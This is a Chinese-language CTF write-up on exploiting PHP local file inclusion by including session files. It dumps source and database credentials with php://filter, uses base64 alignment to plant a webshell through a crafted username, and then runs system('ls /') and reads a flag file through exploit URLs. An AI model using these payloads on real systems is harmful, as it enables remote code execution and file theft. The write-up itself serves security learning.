PHP文件包含 Session
首先了解一下PHP文件包含漏洞----包含session
利用条件:session文件路径已知,且其中内容部分可控。
姿势:
php的session文件的保存路径可以在phpinfo的session.save_path看到。
常见的php-session存放位置:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session 的文件名格式为 sess_[phpsessid]。而 phpsessid 在发送的请求的 cookie 字段中可以看到。
要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。
题目:
http://54.222.188.152:22589/
解题思路:
php伪协议读取源码
点击login,发现链接变为:
http://54.222.188.152:22589/index.php
?action=login.php
首先读取 login.php 的源码
http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-encode/resource=login.php
得到login.php源码:
require_once('config.php');
session_start();if($_SESSION['username']) {
header('Location: index.php');
exit;
}if($_POST['username'] && $_POST['password']) {
$username= $_POST['username'];
$password= md5($_POST['password']);
$mysqli=@new mysqli($dbhost, $dbuser, $dbpass, $dbname);if ($mysqli->connect_errno) {
die("could not connect to the database:\n" . $mysqli->connect_error);
}
$sql= "select password from user where username=?";
$stmt= $mysqli->prepare($sql);
$stmt->bind_param("s", $username);
$stmt->bind_result($res_password);
$stmt->execute();
$stmt->fetch();if ($res_password ==$password) {
$_SESSION['username'] =base64_encode($username);
header("location:index.php");
}else{
die("Invalid user name or password");
}
$stmt->close();
$mysqli->close();
}else{
?>
Login
"static/bootstrap.min.css" rel="stylesheet">
class="container" style="margin-top:100px">
"login.php" method="post" class="well" style="width:220px;margin:0px auto;">
Login
Username:
"text" name="username" style="height:30px"class="span3"/>
Password:
"password" name="password" style="height:30px" class="span3">
"submit" class="btn btn-primary">LOGIN
}
?>
读取 register.php 的源码
访问:
http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-encode/resource=register.php
得到源码:
require_once('config.php');
$username= $_POST['username'];
$password= md5($_POST['password']);
$mysqli=@new mysqli($dbhost, $dbuser, $dbpass, $dbname);if ($mysqli->connect_errno) {
die("could not connect to the database:\n" . $mysqli->connect_error);
}
$mysqli->set_charset("utf8");
$sql= "select * from user where username=?";
$stmt= $mysqli->prepare($sql);
$stmt->bind_param("s", $username);
$stmt->bind_result($res_id, $res_username, $res_password);
$stmt->execute();
$stmt->store_result();
$count= $stmt->num_rows();if($count) {
die('User name Already Exists');
}else{
$sql= "insert into user(username, password) values(?,?)";
$stmt= $mysqli->prepare($sql);
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
echo'Register OK!Please Login';
}
$stmt->close();
$mysqli->close();
}else{
?>
Login
"static/bootstrap.min.css" rel="stylesheet">
class="container" style="margin-top:100px">
"register.php" method="post" class="well" style="width:220px;margin:0px auto;">
Register
Username:
"text" name="username" style="height:30px"class="span3"/>
Password:
"password" name="password" style="height:30px" class="span3">
"submit" class="btn btn-primary">REGISTER
}
?>
读取 config.php 的源码
http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-encode/resource=config.php
得到源码:
$dbhost= 'localhost';
$dbuser= 'web';
$dbpass= 'webpass123';
$dbname= 'web';
?>
读取 index.php 的源码
http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-encode/resource=index.php
源码:
error_reporting(0);
session_start();if (isset($_GET['action'])) {
include $_GET['action'];
exit();
}else{
?>
"en">
"utf-8">
Login
"viewport" content="width=device-width, initial-scale=1.0">
"css/bootstrap.css" rel="stylesheet" media="screen">
"css/main.css" rel="stylesheet" media="screen">
?php
}
?>
解题分析:
拿到了源码,首先进行简单的审计一下。
SQL注入?:
有登陆页面,不知道会不会有注入,简单看一下。
往往注册与登陆操作中会有与数据库交互的地方,这也是sql注入的常见引发点。
看一下register.php,这里仅截取部分代码:
#register.php
$mysqli->set_charset("utf8");
$sql= "select * from user where username=?";
$stmt= $mysqli->prepare($sql);
$stmt->bind_param("s", $username);
$stmt->bind_result($res_id, $res_username, $res_password);
$stmt->execute();
$stmt->store_result();
再看一下login.php:
#login.php
$sql = "select password from user where username=?";
$stmt= $mysqli->prepare($sql);
$stmt->bind_param("s", $username);
$stmt->bind_result($res_password);
$stmt->execute();
$stmt->fetch();
这里都使用了PHP的PDO处理,因此这里存在sql注入的可能性很小。
session
接着再看看,有哪些参数是可控的。
在login.php中:
#第3行
session_start();if($_SESSION['username']) {
header('Location: index.php');
exit;
}#第8行
if($_POST['username'] && $_POST['password']) {
$username= $_POST['username'];#第20行
$stmt->bind_result($res_password);#第24行
if ($res_password ==$password) {
$_SESSION['username'] =base64_encode($username);
header("location:index.php");
这里使用了session来保存用户会话,php手册中是这样描述的:
PHP 会将会话中的数据设置到 $_SESSION 变量中。
当 PHP 停止的时候,它会自动读取 $_SESSION 中的内容,并将其进行序列化,然后发送给会话保存管理器来进行保存。
对于文件会话保存管理器,会将会话数据保存到配置项 session.save_path 所指定的位置。
考虑到变量$username是我们可控的,并且被设置到了$_SESSION中,因此我们输入的数据未经过滤的就被写入到了对应的sessioin文件中。结合前面的php文件包含,可以推测这里可以包含session文件。
要包含session文件,需要知道文件的路径。先注册一个用户,比如chybeta。等登陆成功后。记录下cookie中的PHPSESSID的值,这里为udu8pr09fjvabtoip8icgurt85
访问:
http://54.222.188.152:22589/index.php?action=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85
这个/var/lib/php5/的session文件路径是测试出来的,常见的也就是上面所述的几种。
base64_encode
能包含,并且控制session文件,但要写入可用的payload,还需要绕过:
$_SESSION['username'] = base64_encode($username);
如前面所示,输入的用户名会被base64加密。如果直接用php伪协议来解密整个session文件,由于序列化的前缀,势必导致乱码。
考虑一下base64的编码过程。比如编码abc。
未编码: abc
转成ascii码:97 98 99转成对应二进制(三组,每组8位):01100001 01100010 01100011重分组(四组,每组6位):011000 010110 001001 100011每组高位补零,变为每组8位:00011000 00010110 00001001 00100011每组对应转为十进制:24 22 9 35查表得: Y W J j
考虑一下session的前缀:username|s:12:",中间的数字12表示后面base64串的长度。当base64串的长度小于100时,前缀的长度固定为15个字符,当base64串的长度大于100小于1000时,前缀的长度固定为16个字符。
由于16个字符,恰好满足一下条件:
16个字符 => 16 * 6 = 96 位 => 96 mod 8 = 0
也就是说,当对session文件进行base64解密时,前16个字符固然被解密为乱码,但不会再影响从第17个字符后的部分也就是base64加密后的username。
Getflag
注册一个账号,比如:
chybetachybetachybetachybetachybetachybetachybetachybetachybeta'atebyhc']) ?>
其base64加密后的长度为128,大于100。
http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85&atebyhc=phpinfo();
成功getshell。
访问:
http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85&atebyhc=system('ls /');
访问:
http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85&atebyhc=system('cat /fffflllllaaaagggg.txt');
小结
考了几个知识点:
php文件包含:伪协议利用
php文件包含:包含session文件
php-session知识及序列化格式
base64的基本原理
原文链接(https://chybeta.github.io/2017/11/09/%E4%B8%80%E9%81%93CTF%E9%A2%98%EF%BC%9APHP%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/)
任重而道远!